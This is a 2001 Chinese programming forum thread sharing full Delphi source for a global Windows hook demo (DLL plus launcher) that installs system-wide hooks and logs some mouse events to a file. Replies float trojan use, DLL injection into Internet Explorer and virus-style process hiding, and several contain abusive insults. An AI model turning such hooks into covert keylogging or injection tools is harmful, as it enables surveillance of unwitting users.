问题了,不知道各位碰到过没有。
 回复人:forgettor() (2001-6-16 18:50:00) 得0分
 回复人:linchuanzai(嘿菜) (2001-6-16 19:48:00) 得0分
都挺不错的
快给分是硬道理
 回复人:jeff_z() (2001-6-16 22:58:00) 得0分
学到很多东西!谢谢!
 回复人:sunhy() (2001-6-17 0:17:00) 得0分
 回复人:sunhy() (2001-6-17 0:18:00) 得0分
delphi作hook的确有问题,特别是journel hook和keypress hook,经常出现错误和冲突。
 回复人:BigBen(江南草) (2001-6-17 8:55:00) 得0分
我可以确信wh_keyboard/wh_mouse/wh_msgfilter/wh_sysmsgfilter/wh_journal/wh_playback可以用delphi做,不论是全局的还是局部的,都运行正确(等放假了我都贴上来)。对于别的,实在说,没有实验成功。还望大家多多讨论。delphi是多么strong的一个工具,大家应该为捍卫她的尊严出点力呵。
 回复人:Tnny() (2001-6-17 11:02:00) 得0分
 
    (Tnny对自己说) 发这个帖子的人真幼稚,三脚猫的技术,还好意思拿出来洋洋得意的显耀...诶,可怜...

 
 回复人:qaymuic(qaymuic) (2001-6-17 15:12:00) 得0分
我对hook很陌生,谁能用vb代码来简单的说明问题?
 回复人:cherryppp(老狐狸) (2001-6-18 10:14:00) 得0分
to kevin_is_shit(xxx) 
我不知道你是谁! 但是我老是看到你在CSDN这里发一些废话,从来没有见过你发表过什么有用的东西,象你这样的人这里不欢迎,建议你还是别来了,你的这个ID已经很臭了。
 回复人:eaglesky(鹰长空) (2001-6-18 14:46:00) 得0分
to kevin_is_shit(xxx) :

你牛你就贴点好东西出来,不要只会叫,还到处咬。
 回复人:x7913() (2001-6-19 12:49:00) 得0分
to njhhack(剑影):谢谢您的解疑。
to kevin_is_shit(xxx):你他妈怎么不滚蛋啊老子X你爸!

别人炫耀过吗?只不过说说自己的心得体会罢了,要是每个人都向你一样那csdn干脆
关了得了,大家还在这里来“卖弄”干嘛?自己闭门造车不得了,只要你有这水平,
不过我看你小子也不过是个B
 回复人:x7913() (2001-6-19 13:06:00) 得0分
中国的很多程序员就知道贬低别人,好!就算你行,你是计算机界的骄娇者,不过
请注意,这个世界上除了计算机还有很多其他领域,每个领域有太多数不清的骄娇者了,
你行又如何,还不是给别人打工,我想在坐各位都不是老板吧。
我感受最深的是和我父亲去听一个香港的企业家座谈,人家那才叫谦虚啊,上千万家财,
但在讲谈过程中还不时地说自己只不过是诺大世界里一个小角色,比自己高的能人实在
太多了,人一定要不停的向身边的人谦逊地学习,还引用了一句著名的古话,大意是“
比自己强的人,当然要虚心求教,和自己差不多的人,可以与之切磋,不如自己的人,
很多时候向对方讨教也可以求“一得””,相比之下csdn上一些人,认为自己在编程方面
有点实力就瞧不起别人,可以任意踏削别人,我说“呸”!这样的人我本来根本懒得理,
不过csdn上这样的人好像越来越多了,忍不住说几句----真的,不是我有意看不起你们,你们
实在是-----算个球啊!!!
 回复人:njhhack(剑影) (2001-6-20 10:11:00) 得0分
to x7913():
兄弟谢谢你对我的理解,看到有些人骂我弱,我真得感到很弱,因为我是菜鸟,但我想我懂的东西别人不一定懂,因此想把我懂的东西让大家共享,我没有别的意思,我没有大的能耐,看到有的兄弟说Delphi下的Hook不好做,所以在下把每个Hook都在Delphi做了一下,觉得没啥问题,而且处理的方法较新颖,拿来让兄弟们探讨,这回我说的是Hook,不是深度进程隐藏,还望各位高人不要骂我弱哟,我好害怕哪,不过上面好多高手说的进程隐藏好象只能在nt,w2k下用,win9x下没这种函数呀,在win9x中有个好办法就是用cih病毒的方法,直接进入ring0级啦,不过太难了呀,哪位高人知道win9x下隐藏的好方法,教我呀,我好想学呀,关于hook问题,有不懂的问我就行,不过有的Hook我只做了个框架,没有具体实用作用,要做的兄弟自已完善就行了,呵呵,代码在下面,自已看啦..........

----------这是*.dll中的单元---------------
unit HookProc;


interface

uses windows,messages,sysutils;

const
  HTName:array[1..13] of pchar=(
  'CALLWNDPROC','CALLWNDPROCRET','CBT','DEBUG','GETMESSAGE','JOURNALPLAYBACK',
  'JOURNALRECORD','KEYBOARD','MOUSE','MSGFILTER','SHELL','SYSMSGFILTER','FOREGROUNDIDLE'
  );


function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function CallWndRetProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function CBTProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function DebugProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function JournalPlaybackProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function JournalRecordProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function KeyboardProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function MouseProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function MessageProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function ShellProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function SysMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function ForegroundIdleProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;

implementation

procedure SaveInfo(k:integer;str:string);stdcall;
var
  f:textfile;
  WorkPath:string;
begin
  WorkPath:=ExtractFilePath(ParamStr(0));
  assignfile(f,WorkPath+'Records.txt');
  if fileexists(WorkPath+'Records.txt')=false then rewrite(f)
  else append(f);
  //if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')
  //else write(f,str);
  writeln(f,HTName[k]+'----'+str);
  closefile(f);
end;



function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
  pcs:TCWPSTRUCT;
begin
  pcs:=TCWPSTRUCT(PCWPSTRUCT(lParam)^);
  if nCode>=0 then
  begin
    if pcs.message=wm_lbuttonup then
    SaveInfo(1,format('hwnd=%x',[pcs.hwnd]));
  end;
  Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function CallWndRetProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
  Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function CBTProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
  Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function DebugProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
  Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
  pcs:TMSG;
begin
  pcs:=TMSG(PMSG(lParam)^);
  if nCode>=0 then
  begin
    if pcs.message=wm_lbuttonup then
    SaveInfo(5,format('hwnd=%x',[pcs.hwnd]));
  end;
  Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function JournalPlaybackProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
  Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function JournalRecordProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
  Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function KeyboardProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
  Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function MouseProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
  Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function MessageProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
  Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function ShellProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
  Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function SysMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
  Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function ForegroundIdleProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
  Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;


end.



--------这是*.dll主程序------------------
library DemoHook;

uses
  windows,messages,sysutils,
  HookProc in 'HookProc.pas';

{$r *.res}

const

  HookMemFileName='DllHookMemFile.DTA';
  HTName:array[1..13] of pchar=(
  'CALLWNDPROC','CALLWNDPROCRET','CBT','DEBUG','GETMESSAGE','JOURNALPLAYBACK',
  'JOURNALRECORD','KEYBOARD','MOUSE','MSGFILTER','SHELL','SYSMSGFILTER','FOREGROUNDIDLE'
  );

type
  THookProc = function(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
  PShared=^TShared;
  THook = record
    HookHand:HHook;
    HookType:integer;
    HookProc:THookProc;
  end;
  TShared = record
    Hook:array [0..16] of THook;
    Father,Self:integer;
    Count:integer;
    hinst:integer;
  end;
  TWin = record
    Msg:TMsg;
    wClass:TWndClass;
    hMain:integer;
  end;
var
  MemFile:THandle;
  Shared:PShared;
  Win:TWin;
  wmhook:integer;

procedure SaveInfo(k:integer;str:string);stdcall;
var
  f:textfile;
  WorkPath:string;
begin
  WorkPath:=ExtractFilePath(ParamStr(0));
  assignfile(f,WorkPath+'Records.txt');
  if fileexists(WorkPath+'Records.txt')=false then rewrite(f)
  else append(f);
  //if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')
  //else write(f,str);
  writeln(f,HTName[k]+'----'+str);
  closefile(f);
end;


procedure InitHookData;
var k:integer;
begin
  with Shared^ do
  begin
    for k:=0 to 14 do Hook[k].HookHand:=0;
    //
    Hook[0].HookType:=WH_CALLWNDPROC;
    Hook[0].HookProc:=@CallWndProc;
    //
    Hook[1].HookType:=WH_CALLWNDPROCRET;
    Hook[1].HookProc:=@CallWndRetProc;
    //
    Hook[2].HookType:=WH_CBT;
    Hook[2].HookProc:=@CBTProc;
    //
    Hook[3].HookType:=WH_DEBUG;
    Hook[3].HookProc:=@DebugProc;
    //
    Hook[4].HookType:=WH_GETMESSAGE;
    Hook[4].HookProc:=@GetMsgProc;
    //
    Hook[5].HookType:=WH_JOURNALPLAYBACK;
    Hook[5].HookProc:=@JournalPlaybackProc;
    //
    Hook[6].HookType:=WH_JOURNALRECORD;
    Hook[6].HookProc:=@JournalRecordProc;
    //
    Hook[7].HookType:=WH_KEYBOARD;
    Hook[7].HookProc:=@KeyboardProc;
    //
    Hook[8].HookType:=WH_MOUSE;
    Hook[8].HookProc:=@MouseProc;
    //
    Hook[9].HookType:=WH_MSGFILTER;
    Hook[9].HookProc:=@MessageProc;
    //
    Hook[10].HookType:=WH_SHELL    ;
    Hook[10].HookProc:=@ShellProc;
    //
    Hook[11].HookType:=WH_SYSMSGFILTER;
    Hook[11].HookProc:=@SysMsgProc;
    //
    Hook[12].HookType:=WH_FOREGROUNDIDLE;
    Hook[12].HookProc:=@ForegroundIdleProc;

  end;
end;

function SetHook(fSet:boolean;HookId:integer):bool;stdcall;
begin
  with shared^ do
  if fSet=true then
  begin
    if Hook[HookId].HookHand=0 then
    begin
      Hook[HookId].HookHand:=SetWindowsHookEx(Hook[HookId].HookType,Hook[HookId].HookProc,hinstance,0);
      if Hook[HookId].HookHand<>0 then Result:=true
      else Result:=false;
    end else Result:=true;
  end else
  begin
    if Hook[HookId].HookHand<>0 then
    begin
      if UnhookWindowsHookEx(Hook[HookId].HookHand)=true then
      begin
        Hook[HookId].HookHand:=0;
        Result:=true;
      end else Result:=false;
    end else Result:=true;
  end;
end;

procedure Extro;
begin
  UnmapViewOfFile(Shared);
  CloseHandle(MemFile);
end;


function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
var k:integer;
begin
  Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
  case Msg of
  wm_destroy:
    begin
      for k:=0 to 12 do SetHook(False,k);
      postmessage(findwindow('WinHook',nil),wm_destroy,0,0);
      ExitThread(0);
    end;
  end;
  if msg=wmhook then
  begin
    if wparam>0 then
    begin
      if sethook(true,wparam-1)=true then postmessage(findwindow('WinHook',nil),wmhook,wparam,0);
    end else
    begin
      if sethook(false,-wparam-1)=true then postmessage(findwindow('WinHook',nil),wmhook,wparam,0);
    end;
  end;
end;

procedure run;stdcall;
//var k:integer;
begin
  win.wClass.lpfnWndProc:=  @WindowProc;
  win.wClass.hInstance:=    hInstance;
  win.wClass.lpszClassName:='WideHook';
  RegisterClass(win.wClass);
  win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'WideHook',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
  FillChar(Shared^,SizeOf(TShared),0);
  shared^.self:=win.hmain;
  shared^.hinst:=hinstance;
  InitHookData;
  wmhook:=registerwindowmessage(pchar('wm_hook'));
  while(GetMessage(win.Msg,win.hmain,0,0))do
  begin
    TranslateMessage(win.Msg);
    DispatchMessage(win.Msg);
  end;
end;

procedure DllEntryPoint(fdwReason:DWORD);
begin
  case fdwReason of
  DLL_PROCESS_DETACH:
    Extro;
  end;
end;

exports run;

begin
  //建立内存映象文件,用来保存全局变量
  MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
  Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
  DLLProc:=@DllEntryPoint;
end.

---------这是*.exe主程序---------------------------

Program WinHook;

uses windows,messages,sysutils;
{$r *.res}  //使用资源文件
const
  HTName:array[1..13] of pchar=(
  'CALLWNDPROC','CALLWNDPROCRET','CBT','DEBUG','GETMESSAGE','JOURNALPLAYBACK',
  'JOURNALRECORD','KEYBOARD','MOUSE','MSGFILTER','SHELL','SYSMSGFILTER','FOREGROUNDIDLE'
  );
type
  TWin = record
    Msg:TMsg;
    wClass:TWndClass;
    hMain:integer;
    hbut,hlab:array[1..16] of integer;
    hLib:integer;
    HookStat:array[1..16] of bool;
  end;
var
  Win:TWin;                    //结构变量
  wmhook:integer;
  WorkPath:string;
  hRun:procedure;stdcall;
//
procedure runhookfun;
begin
  win.hlib:=loadlibrary(pchar(WorkPath+'DemoHook.dll'));
  if win.hlib=0 then messagebox(win.hmain,'error','',0);
  hrun:=GetProcAddress(win.hlib,'run');
  if @hrun<>nil then hrun;
end;

procedure runhook;
var tid:integer;
begin
  createthread(nil,0,@runhookfun,nil,0,tid);
end;

function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
var k:integer;
begin
  case Msg of
  WM_SYSCOMMAND:
    begin
      case wparam of
      SC_CLOSE:
        begin
          if findwindow('WideHook','WideHook')<>0 then postmessage(findwindow('WideHook','WideHook'),wm_destroy,0,0);
        end;//showwindow(hwnd,sw_hide);
      SC_MINIMIZE:;//showwindow(hwnd,sw_hide);
      SC_MAXIMIZE:;
      SC_DEFAULT:;
      SC_MOVE:;
      SC_SIZE:;
      //else
      //Result := DefWindowProc(hwnd, uMsg, wParam, lParam);
      end;
      exit;
    end;
  wm_command:
    begin
      for k:=1 to 13 do
      begin
        if (lparam=win.hbut[k]) and ((k=6) or (k=7)) then break;
        if lparam=win.hbut[k] then
        begin
          if win.HookStat[k]=false then postmessage(findwindow('WideHook','WideHook'),wmhook,k,0)
          else postmessage(findwindow('WideHook','WideHook'),wmhook,-k,0);
        end;
      end;
    end;
  wm_destroy:
    begin
      freelibrary(win.hlib);
      halt;
    end;
  end;
  if msg=wmhook then
  begin
    if wparam>0 then
    begin
      setwindowtext(win.hbut[wparam],pchar('stop'));
      win.HookStat[wparam]:=true;
    end else
    begin
      setwindowtext(win.hbut[-wparam],pchar('start'));
      win.HookStat[-wparam]:=false;
    end;
  end;
  Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
end;

//主程序的执行函数
procedure run;stdcall;
var k:integer;
begin
  if findwindow('WinHook',nil)<>0 then exit;
  win.wClass.hInstance:=    hInstance;
  with win.wclass do
  begin
    hIcon:=        LoadIcon(hInstance,'MAINICON');
    hCursor:=      LoadCursor(0,IDC_ARROW);
    hbrBackground:= COLOR_BTNFACE+1;
    Style:=        CS_PARENTDC;
    lpfnWndProc:=  @WindowProc;
    lpszClassName:='WinHook';
  end;
  RegisterClass(win.wClass);
  win.hmain:=CreateWindow(win.wClass.lpszClassName,'Delphi Hook Demo 2001',WS_VISIBLE or WS_OVERLAPPEDWINDOW,0,0,240,450,0,0,hInstance,nil);
  for k:=1 to 13 do
  begin
    win.hbut[k]:=CreateWindow('BUTTON','Start',WS_VISIBLE or WS_CHILD,10,10+30*(k-1),50,24,win.hmain,0,hInstance,nil);
    win.hlab[k]:=CreateWindow('STATIC',HTName[k],WS_VISIBLE or WS_CHILD,70,10+30*(k-1)+4,150,24,win.hmain,0,hInstance,nil);
    win.HookStat[k]:=false;
  end;
  WorkPath:=ExtractFilePath(ParamStr(0));
  runhook;
  wmhook:=registerwindowmessage(pchar('wm_hook'));
  while(GetMessage(win.Msg,win.hmain,0,0)) do
  begin
    TranslateMessage(win.Msg);
    DispatchMessage(win.Msg);
  end;
end;

begin
  run;  //开始运行主程序
end.

 回复人:demogorgon(demo) (2001-6-24 0:27:00) 得0分
现在像njhhack(剑影)兄这样的人物真是太少了,大家都抱着自己“辛苦”得来的一点点技术不放,看着别人焦头烂额搞不出来,还在边上窃笑,真TMD恶心。你会你就说啊,你不说我们怎么知道?靠!
  剑影兄应该出去挣大钱啊,呆在小学校里可惜了.....
 回复人:BlueTrees(蜗牛) (2001-6-24 2:18:00) 得0分
我发现过怎么就没有想到用它做木马呀!可惜,太没有创意了,我说我自己,不过,要挂个DLL到IE里头去用得着这么麻烦吗?
 回复人:flyingbugs(网际) (2001-6-24 2:21:00) 得0分
同意楼上的!!!
 回复人:sleeepboy(阿闲) (2001-6-27 15:53:59) 得0分
对共享自己心得的各位大侠表示十二分的敬意
考完试一定用心研究!
 回复人:hack2003(黑狱灾星) (2001-6-28 14:49:20) 得20分
give me cent
 回复人:eggplant(拉拉) (2001-6-29 11:27:50) 得0分
BlueTrees(蜗牛),能不能请教一下,如何非常容易的要挂个DLL到IE里头去,而不用得着这么麻烦吗?谢谢了
 回复人:passos(古月春秋) (2001-7-6 0:37:40) 得0分
剑影兄台,真是佩服。。。。。
 回复人:hack2003(黑狱灾星) (2001-7-6 18:13:51) 得0分
我发现bo2k的进程隐藏法太差了,比这种方法差多了



我要回复:(请您对您的言行负责,遵守中华人民共和国有关法律、法规,尊重网上道德)

返回问题 | 关闭窗口
美达美简介 广告服务 英语步步高 程序员大本营 百联美达美科技有限公司 版权所有